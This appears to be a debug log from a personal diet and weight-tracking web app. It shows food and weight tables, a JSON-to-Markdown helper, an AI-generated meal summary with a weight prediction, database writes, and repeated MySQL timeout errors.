  '| 425 | Boondi Raita | 120 | 6 | 10 | 6 | 1 katori (approx 150g) |\n' +
  '| 426 | Water | 0 | 0 | 0 | 0 | 1.5 litres |\n' +
  '| 427 | Papaya | 100 | 2 | 25 | 1 | 4 slices |\n' +
  '| 428 | Milk Tea (without sugar) | 60 | 8 | 12 | 0 | 1 cup (approx 240ml) |\n' +
  '| 429 | Milk Tea (without sugar) | 48 | 8 | 12 | 0 | 1 cup (approx 240ml) |\n' +
  '| 430 | Fish Curry | 750 | 75 | 15 | 40 | 5 pieces |\n' +
  '| 431 | Egg Whites | 34 | 7 | 0 | 0 | 2 |\n' +
  '| 432 | Papaya | 60 | 1 | 15 | 0 | 1 slice |\n' +
  '\n'
2025-12-17T17:19:58.429Z server-connect:app Executing action step run
2025-12-17T17:19:58.429Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Weight Logs");\n' +
    'return md;',
  data: { dynamicJson: '{{weight_logs.data}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-17T17:19:58.430Z server-connect:output weight_logs: '## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-17T17:19:58.430Z server-connect:app Executing action step setvalue
2025-12-17T17:19:58.430Z server-connect:app options: { key: 'raw_value', value: "{{items_consumed+' '+weight_logs}}" }
2025-12-17T17:19:58.430Z server-connect:output raw_value: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 417 | Walnuts | 98 | 2 | 2 | 10 | 2 full walnuts (approx 15g edible portion) |\n' +
  '| 418 | Pre-workout supplement | 5 | 1 | 1 | 0 | 1 scoop (6.5g) |\n' +
  '| 419 | Whey Protein | 99 | 20 | 2 | 1 | 1 scoop (26g) |\n' +
  '| 420 | Banana | 89 | 1 | 23 | 0 | 1 (approx 100g edible portion, medium size) |\n' +
  '| 421 | Appe (Paniyaram) homemade | 100 | 4 | 20 | 2 | 2 pieces (approx 70-80g) |\n' +
  '| 422 | Milk Coffee | 75 | 5 | 7 | 4 | 1 small cup (approx 150ml) |\n' +
  '| 423 | Roti | 300 | 9 | 63 | 3 | 3 |\n' +
  '| 424 | Aloo Patta Gobi Sabzi | 150 | 4 | 18 | 8 | 1 serving (approx 150g) |\n' +
  '| 425 | Boondi Raita | 120 | 6 | 10 | 6 | 1 katori (approx 150g) |\n' +
  '| 426 | Water | 0 | 0 | 0 | 0 | 1.5 litres |\n' +
  '| 427 | Papaya | 100 | 2 | 25 | 1 | 4 slices |\n' +
  '| 428 | Milk Tea (without sugar) | 60 | 8 | 12 | 0 | 1 cup (approx 240ml) |\n' +
  '| 429 | Milk Tea (without sugar) | 48 | 8 | 12 | 0 | 1 cup (approx 240ml) |\n' +
  '| 430 | Fish Curry | 750 | 75 | 15 | 40 | 5 pieces |\n' +
  '| 431 | Egg Whites | 34 | 7 | 0 | 0 | 2 |\n' +
  '| 432 | Papaya | 60 | 1 | 15 | 0 | 1 slice |\n' +
  '\n' +
  ' ## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-17T17:19:58.430Z server-connect:app Executing action step processWithGemini
2025-12-17T17:19:58.430Z server-connect:app options: {
  request_type: 'meal_summary',
  raw_text: '{{raw_value}}',
  socket_id: '{{$_GET.so_id}}'
}
2025-12-17T17:20:00.245Z server-connect:output health_summary: {
  summary: "Today's food intake shows a strong emphasis on protein, particularly from the fish curry and whey protein, which aligns well with your muscle development goal. The inclusion of fruits and vegetables provides some micronutrients and fiber. However, the meal composition could be more balanced with a greater variety of complex carbohydrates and healthy fats throughout the day. Hydration is adequate.",
  rating: 7,
  good_points: [
    'Excellent protein intake from fish curry and whey.',
    'Consistent hydration throughout the day.',
    'Inclusion of fruits like papaya.'
  ],
  bad_points: [
    'Carbohydrate sources are heavily concentrated in a few meals.',
    'Limited variety in vegetable intake.',
    'The appe and roti are significant sources of refined carbohydrates.'
  ],
  suggestions: [
    'Distribute carbohydrate intake more evenly across meals.',
    'Incorporate a wider range of vegetables with meals.',
    'Consider adding more whole grains or complex carbohydrates to meals.',
    'Ensure adequate protein is present in all main meals.'
  ],
  predicted_weight_trend: 'gradual decrease',
  predicted_weight: 70.05
}
2025-12-17T17:20:00.245Z server-connect:app Executing action step condition
2025-12-17T17:20:00.245Z server-connect:app options: {
  if: '{{health_summary.rating>0}}',
  then: { steps: [ [Object], [Object] ] }
}
2025-12-17T17:20:00.245Z server-connect:app Executing action step delete
2025-12-17T17:20:00.245Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'health_summary',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `health_summary` where `date` = ?',
    params: [ [Object] ]
  }
}
2025-12-17T17:20:00.247Z server-connect:output delete: { affected: 1 }
2025-12-17T17:20:00.247Z server-connect:app Executing action step insert
2025-12-17T17:20:00.247Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'health_summary',
    returning: 'id',
    query: 'insert into `health_summary` (`date`, `summary`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2025-12-17T17:20:00.248Z server-connect:output insert: { affected: 1, identity: 30 }
2025-12-17T17:20:00.249Z server-connect:output condition: undefined
2025-12-17T17:20:00.483Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-17T17:20:00.483Z server-connect:app Executing action step identify
2025-12-17T17:20:00.483Z server-connect:app options: { provider: 'security' }
2025-12-17T17:20:00.483Z server-connect:output identity: 1
2025-12-17T17:20:00.483Z server-connect:app Executing action step restrict
2025-12-17T17:20:00.483Z server-connect:app options: { provider: 'security' }
2025-12-17T17:20:00.483Z server-connect:output restrict: undefined
2025-12-17T17:20:00.483Z server-connect:app Executing action step single
2025-12-17T17:20:00.483Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-17T17:20:00.484Z server-connect:output summary: {
  summary: {
    rating: 7,
    summary: "Today's food intake shows a strong emphasis on protein, particularly from the fish curry and whey protein, which aligns well with your muscle development goal. The inclusion of fruits and vegetables provides some micronutrients and fiber. However, the meal composition could be more balanced with a greater variety of complex carbohydrates and healthy fats throughout the day. Hydration is adequate.",
    bad_points: [
      'Carbohydrate sources are heavily concentrated in a few meals.',
      'Limited variety in vegetable intake.',
      'The appe and roti are significant sources of refined carbohydrates.'
    ],
    good_points: [
      'Excellent protein intake from fish curry and whey.',
      'Consistent hydration throughout the day.',
      'Inclusion of fruits like papaya.'
    ],
    suggestions: [
      'Distribute carbohydrate intake more evenly across meals.',
      'Incorporate a wider range of vegetables with meals.',
      'Consider adding more whole grains or complex carbohydrates to meals.',
      'Ensure adequate protein is present in all main meals.'
    ],
    predicted_weight: 70.05,
    predicted_weight_trend: 'gradual decrease'
  },
  date: '2025-12-16T18:30:00.000Z'
}
2025-12-17T17:20:45.769Z server-connect:app Executing action step identify
2025-12-17T17:20:45.769Z server-connect:app options: { provider: 'security' }
2025-12-17T17:20:45.769Z server-connect:output identity: 1
2025-12-17T17:21:00.680Z server-connect:app Executing action step identify
2025-12-17T17:21:00.681Z server-connect:app options: { provider: 'security' }
2025-12-17T17:21:00.681Z server-connect:output identity: 1
2025-12-17T17:23:28.794Z server-connect:app Executing action step identify
2025-12-17T17:23:28.794Z server-connect:app options: { provider: 'security' }
2025-12-17T17:23:28.794Z server-connect:output identity: 1
2025-12-17T17:23:31.623Z server-connect:app Executing action step identify
2025-12-17T17:23:31.623Z server-connect:app options: { provider: 'security' }
2025-12-17T17:23:31.624Z server-connect:output identity: 1
2025-12-17T17:23:33.072Z server-connect:app Executing action step identify
2025-12-17T17:23:33.072Z server-connect:app options: { provider: 'security' }
2025-12-17T17:23:33.073Z server-connect:output identity: 1
2025-12-17T17:23:36.918Z server-connect:app Executing action step identify
2025-12-17T17:23:36.918Z server-connect:app options: { provider: 'security' }
2025-12-17T17:23:36.918Z server-connect:output identity: 1
2025-12-17T17:26:11.129Z server-connect:app Executing action step identify
2025-12-17T17:26:11.129Z server-connect:app options: { provider: 'security' }
2025-12-17T17:26:11.129Z server-connect:output identity: 1
2025-12-17T17:26:13.834Z server-connect:app Executing action step identify
2025-12-17T17:26:13.834Z server-connect:app options: { provider: 'security' }
2025-12-17T17:26:13.834Z server-connect:output identity: 1
2025-12-17T17:26:15.261Z server-connect:app Executing action step identify
2025-12-17T17:26:15.261Z server-connect:app options: { provider: 'security' }
2025-12-17T17:26:15.261Z server-connect:output identity: 1
2025-12-17T17:26:17.708Z server-connect:app Executing action step identify
2025-12-17T17:26:17.708Z server-connect:app options: { provider: 'security' }
2025-12-17T17:26:17.708Z server-connect:output identity: 1
2025-12-17T17:32:08.052Z server-connect:app Executing action step identify
2025-12-17T17:32:08.052Z server-connect:app options: { provider: 'security' }
2025-12-17T17:32:08.052Z server-connect:output identity: 1
2025-12-17T17:32:13.327Z server-connect:app Executing action step identify
2025-12-17T17:32:13.328Z server-connect:app options: { provider: 'security' }
2025-12-17T17:32:13.328Z server-connect:output identity: 1
2025-12-17T17:38:23.223Z server-connect:app Executing action step identify
2025-12-17T17:38:23.224Z server-connect:app options: { provider: 'security' }
2025-12-17T17:38:23.224Z server-connect:output identity: 1
2025-12-17T17:38:29.006Z server-connect:app Executing action step identify
2025-12-17T17:38:29.006Z server-connect:app options: { provider: 'security' }
2025-12-17T17:38:29.006Z server-connect:output identity: 1
2025-12-17T17:41:04.222Z server-connect:app Executing action step identify
2025-12-17T17:41:04.222Z server-connect:app options: { provider: 'security' }
2025-12-17T17:41:04.222Z server-connect:output identity: 1
2025-12-17T17:41:13.286Z server-connect:app Executing action step identify
2025-12-17T17:41:13.286Z server-connect:app options: { provider: 'security' }
2025-12-17T17:41:13.286Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-17 17:45:07' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-17 17:45:07' as DATETIME)"
}
2025-12-17T17:46:19.229Z server-connect:app Executing action step identify
2025-12-17T17:46:19.229Z server-connect:app options: { provider: 'security' }
2025-12-17T17:46:19.229Z server-connect:output identity: 1
2025-12-17T17:46:21.385Z server-connect:app Executing action step identify
2025-12-17T17:46:21.385Z server-connect:app options: { provider: 'security' }
2025-12-17T17:46:21.385Z server-connect:output identity: 1
2025-12-17T17:47:33.565Z server-connect:app Executing action step identify
2025-12-17T17:47:33.565Z server-connect:app options: { provider: 'security' }
2025-12-17T17:47:33.565Z server-connect:output identity: 1
2025-12-17T17:47:42.269Z server-connect:app Executing action step identify
2025-12-17T17:47:42.269Z server-connect:app options: { provider: 'security' }
2025-12-17T17:47:42.269Z server-connect:output identity: 1
2025-12-17T17:56:39.479Z server-connect:app Executing action step identify
2025-12-17T17:56:39.479Z server-connect:app options: { provider: 'security' }
2025-12-17T17:56:39.479Z server-connect:output identity: 1
2025-12-17T17:56:47.309Z server-connect:app Executing action step identify
2025-12-17T17:56:47.309Z server-connect:app options: { provider: 'security' }
2025-12-17T17:56:47.309Z server-connect:output identity: 1
2025-12-17T17:59:56.302Z server-connect:app Executing action step identify
2025-12-17T17:59:56.302Z server-connect:app options: { provider: 'security' }
2025-12-17T17:59:56.302Z server-connect:output identity: 1
2025-12-17T17:59:58.759Z server-connect:app Executing action step identify
2025-12-17T17:59:58.759Z server-connect:app options: { provider: 'security' }
2025-12-17T17:59:58.759Z server-connect:output identity: 1
2025-12-17T17:59:59.449Z server-connect:app Executing action step identify
2025-12-17T17:59:59.449Z server-connect:app options: { provider: 'security' }
2025-12-17T17:59:59.449Z server-connect:output identity: 1
2025-12-17T17:59:59.913Z server-connect:app Executing action step identify
2025-12-17T17:59:59.913Z server-connect:app options: { provider: 'security' }
2025-12-17T17:59:59.913Z server-connect:output identity: 1
2025-12-17T18:03:11.264Z server-connect:app Executing action step identify
2025-12-17T18:03:11.264Z server-connect:app options: { provider: 'security' }
2025-12-17T18:03:11.264Z server-connect:output identity: 1
2025-12-17T18:03:11.271Z server-connect:app Executing action step identify
2025-12-17T18:03:11.271Z server-connect:app options: { provider: 'security' }
2025-12-17T18:03:11.271Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-17 18:04:56' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-17 18:04:56' as DATETIME)"
}
2025-12-17T18:18:02.059Z server-connect:app Executing action step identify
2025-12-17T18:18:02.059Z server-connect:app options: { provider: 'security' }
2025-12-17T18:18:02.060Z server-connect:output identity: 1
2025-12-17T18:18:04.068Z server-connect:app Executing action step identify
2025-12-17T18:18:04.068Z server-connect:app options: { provider: 'security' }
2025-12-17T18:18:04.068Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-17 18:18:56' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-17 18:18:56' as DATETIME)"
}
2025-12-17T18:26:53.485Z server-connect:app Executing action step identify
2025-12-17T18:26:53.485Z server-connect:app options: { provider: 'security' }
2025-12-17T18:26:53.486Z server-connect:output identity: 1
2025-12-17T18:26:57.192Z server-connect:app Executing action step identify
2025-12-17T18:26:57.192Z server-connect:app options: { provider: 'security' }
2025-12-17T18:26:57.192Z server-connect:output identity: 1
2025-12-17T18:33:58.234Z server-connect:app Executing action step identify
2025-12-17T18:33:58.235Z server-connect:app options: { provider: 'security' }
2025-12-17T18:33:58.235Z server-connect:output identity: 1
2025-12-17T18:33:59.918Z server-connect:app Executing action step identify
2025-12-17T18:33:59.918Z server-connect:app options: { provider: 'security' }
2025-12-17T18:33:59.918Z server-connect:output identity: 1
2025-12-17T18:35:01.303Z server-connect:app Executing action step identify
2025-12-17T18:35:01.303Z server-connect:app options: { provider: 'security' }
2025-12-17T18:35:01.303Z server-connect:output identity: 1
2025-12-17T18:35:04.716Z server-connect:app Executing action step identify
2025-12-17T18:35:04.716Z server-connect:app options: { provider: 'security' }
2025-12-17T18:35:04.716Z server-connect:output identity: 1
2025-12-17T18:35:47.016Z server-connect:app Executing action step identify
2025-12-17T18:35:47.017Z server-connect:app options: { provider: 'security' }
2025-12-17T18:35:47.017Z server-connect:output identity: 1
2025-12-17T18:35:48.382Z server-connect:app Executing action step identify
2025-12-17T18:35:48.382Z server-connect:app options: { provider: 'security' }
2025-12-17T18:35:48.382Z server-connect:output identity: 1
2025-12-17T18:35:49.016Z server-connect:app Executing action step identify
2025-12-17T18:35:49.016Z server-connect:app options: { provider: 'security' }
2025-12-17T18:35:49.017Z server-connect:output identity: 1
2025-12-17T18:35:49.383Z server-connect:app Executing action step identify
2025-12-17T18:35:49.383Z server-connect:app options: { provider: 'security' }
2025-12-17T18:35:49.383Z server-connect:output identity: 1
2025-12-17T18:39:01.834Z server-connect:app Executing action step identify
2025-12-17T18:39:01.834Z server-connect:app options: { provider: 'security' }
2025-12-17T18:39:01.835Z server-connect:output identity: 1
2025-12-17T18:39:05.175Z server-connect:app Executing action step identify
2025-12-17T18:39:05.175Z server-connect:app options: { provider: 'security' }
2025-12-17T18:39:05.175Z server-connect:output identity: 1
2025-12-17T18:44:22.233Z server-connect:app Executing action step identify
2025-12-17T18:44:22.233Z server-connect:app options: { provider: 'security' }
2025-12-17T18:44:22.233Z server-connect:output identity: 1
2025-12-17T18:44:25.371Z server-connect:app Executing action step identify
2025-12-17T18:44:25.371Z server-connect:app options: { provider: 'security' }
2025-12-17T18:44:25.371Z server-connect:output identity: 1
2025-12-17T18:44:50.280Z server-connect:app Executing action step identify
2025-12-17T18:44:50.280Z server-connect:app options: { provider: 'security' }
2025-12-17T18:44:50.280Z server-connect:output identity: 1
2025-12-17T18:44:59.112Z server-connect:app Executing action step identify
2025-12-17T18:44:59.112Z server-connect:app options: { provider: 'security' }
2025-12-17T18:44:59.112Z server-connect:output identity: 1
2025-12-17T18:47:31.667Z server-connect:app Executing action step identify
2025-12-17T18:47:31.667Z server-connect:app options: { provider: 'security' }
2025-12-17T18:47:31.667Z server-connect:output identity: 1
2025-12-17T18:47:35.400Z server-connect:app Executing action step identify
2025-12-17T18:47:35.400Z server-connect:app options: { provider: 'security' }
2025-12-17T18:47:35.400Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-17 18:50:08' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-17 18:50:08' as DATETIME)"
}
2025-12-17T18:50:14.245Z server-connect:app Executing action step identify
2025-12-17T18:50:14.245Z server-connect:app options: { provider: 'security' }
2025-12-17T18:50:14.245Z server-connect:output identity: 1
2025-12-17T18:50:18.117Z server-connect:app Executing action step identify
2025-12-17T18:50:18.117Z server-connect:app options: { provider: 'security' }
2025-12-17T18:50:18.117Z server-connect:output identity: 1
2025-12-17T19:00:29.154Z server-connect:app Executing action step identify
2025-12-17T19:00:29.154Z server-connect:app options: { provider: 'security' }
2025-12-17T19:00:29.154Z server-connect:output identity: 1
2025-12-17T19:00:32.093Z server-connect:app Executing action step identify
2025-12-17T19:00:32.093Z server-connect:app options: { provider: 'security' }
2025-12-17T19:00:32.093Z server-connect:output identity: 1
2025-12-17T19:05:21.950Z server-connect:app Executing action step identify
2025-12-17T19:05:21.950Z server-connect:app options: { provider: 'security' }
2025-12-17T19:05:21.950Z server-connect:output identity: 1
2025-12-17T19:05:23.064Z server-connect:app Executing action step identify
2025-12-17T19:05:23.064Z server-connect:app options: { provider: 'security' }
2025-12-17T19:05:23.064Z server-connect:output identity: 1
2025-12-17T19:06:15.756Z server-connect:app Executing action step identify
2025-12-17T19:06:15.756Z server-connect:app options: { provider: 'security' }
2025-12-17T19:06:15.756Z server-connect:output identity: 1
2025-12-17T19:06:18.083Z server-connect:app Executing action step identify
2025-12-17T19:06:18.083Z server-connect:app options: { provider: 'security' }
2025-12-17T19:06:18.083Z server-connect:output identity: 1
2025-12-17T19:08:36.787Z server-connect:app Executing action step identify
2025-12-17T19:08:36.787Z server-connect:app options: { provider: 'security' }
2025-12-17T19:08:36.787Z server-connect:output identity: 1
2025-12-17T19:08:40.087Z server-connect:app Executing action step identify
2025-12-17T19:08:40.087Z server-connect:app options: { provider: 'security' }
2025-12-17T19:08:40.087Z server-connect:output identity: 1
2025-12-17T19:11:51.492Z server-connect:app Executing action step identify
2025-12-17T19:11:51.492Z server-connect:app options: { provider: 'security' }
2025-12-17T19:11:51.492Z server-connect:output identity: 1
2025-12-17T19:11:56.102Z server-connect:app Executing action step identify
2025-12-17T19:11:56.102Z server-connect:app options: { provider: 'security' }
2025-12-17T19:11:56.102Z server-connect:output identity: 1
2025-12-17T19:15:03.634Z server-connect:app Executing action step identify
2025-12-17T19:15:03.635Z server-connect:app options: { provider: 'security' }
2025-12-17T19:15:03.635Z server-connect:output identity: 1
2025-12-17T19:15:04.916Z server-connect:app Executing action step identify
2025-12-17T19:15:04.916Z server-connect:app options: { provider: 'security' }
2025-12-17T19:15:04.916Z server-connect:output identity: 1
2025-12-17T19:15:05.583Z server-connect:app Executing action step identify
2025-12-17T19:15:05.583Z server-connect:app options: { provider: 'security' }
2025-12-17T19:15:05.583Z server-connect:output identity: 1
2025-12-17T19:15:06.646Z server-connect:app Executing action step identify
2025-12-17T19:15:06.646Z server-connect:app options: { provider: 'security' }
2025-12-17T19:15:06.646Z server-connect:output identity: 1
2025-12-17T19:18:19.264Z server-connect:app Executing action step identify
2025-12-17T19:18:19.264Z server-connect:app options: { provider: 'security' }
2025-12-17T19:18:19.264Z server-connect:output identity: 1
2025-12-17T19:18:21.078Z server-connect:app Executing action step identify
2025-12-17T19:18:21.078Z server-connect:app options: { provider: 'security' }
2025-12-17T19:18:21.079Z server-connect:output identity: 1
2025-12-17T19:18:21.486Z server-connect:app Executing action step identify
2025-12-17T19:18:21.486Z server-connect:app options: { provider: 'security' }
2025-12-17T19:18:21.486Z server-connect:output identity: 1
2025-12-17T19:18:23.662Z server-connect:app Executing action step identify
2025-12-17T19:18:23.662Z server-connect:app options: { provider: 'security' }
2025-12-17T19:18:23.662Z server-connect:output identity: 1
2025-12-17T19:30:45.345Z server-connect:app Executing action step identify
2025-12-17T19:30:45.345Z server-connect:app options: { provider: 'security' }
2025-12-17T19:30:45.345Z server-connect:output identity: 1
2025-12-17T19:30:49.295Z server-connect:app Executing action step identify
2025-12-17T19:30:49.295Z server-connect:app options: { provider: 'security' }
2025-12-17T19:30:49.295Z server-connect:output identity: 1
2025-12-17T19:37:12.730Z server-connect:app Executing action step identify
2025-12-17T19:37:12.730Z server-connect:app options: { provider: 'security' }
2025-12-17T19:37:12.730Z server-connect:output identity: 1
2025-12-17T19:37:14.402Z server-connect:app Executing action step identify
2025-12-17T19:37:14.402Z server-connect:app options: { provider: 'security' }
2025-12-17T19:37:14.403Z server-connect:output identity: 1
